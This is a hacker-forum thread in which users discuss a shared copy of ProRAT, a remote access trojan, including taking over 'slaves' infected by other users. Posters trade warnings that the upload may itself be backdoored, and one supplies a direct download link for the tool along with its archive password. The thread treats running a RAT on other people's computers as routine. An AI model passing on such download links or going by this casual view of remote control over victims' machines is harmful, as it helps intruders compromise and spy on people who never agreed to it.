Eminent - October 13, 2011, 10:19 pm

It's rare to find a copy of ProRAT that isn't backdoored =p

Yeah it probably is backdoored =/ but that's why I recommended using Sandboxie when using it. Anyways I thought it was pretty cool once I found out you could crack other people's slaves, so I thought I'd post it.

Ingfire - October 14, 2011, 2:15 am

I unrared the file and my Trend Micro labeled both .exe's in the RAR as Malware...please post a scan of this before posting a download.

If you would of read the thread you would have seen that I said

(Oct 13, 2011 10:14 PM)Gtech Wrote: [\[CITE\]](#) Read: I did not upload ProRat so I take no responsibility if it is backdoored. I have used it and it does work. I recommend using [Sandboxie](#) when using it just to be safe.

Also one post above yours I said

Read before you post next time...

Ingfire - February 18, 2012, 12:36 am

Not sure why you'd post it when you even assumed it was backdoored...oh well

Cybervamp - February 18, 2012, 12:40 am

Thats why he told you dumbass. Besides its a RAT so its obviously detected

<http://www.prorat.net/>

that's the official website for prorat. There is no backdoored file there.

Or Download public free version directly from here

[http://www.prorat.net/downloads.php?id=ProRat_v1.9_Fix2\(ZipPass:pro\)](http://www.prorat.net/downloads.php?id=ProRat_v1.9_Fix2(ZipPass:pro))

Pass = pro

Great post by the way. testing now to see if it works

Hatman - *February 18, 2012, 3:07 am*

Yeah the official website is fully reliable :D

kugeldusch - *February 18, 2012, 3:54 am*

it seems clean there is only the one process in sandboxie
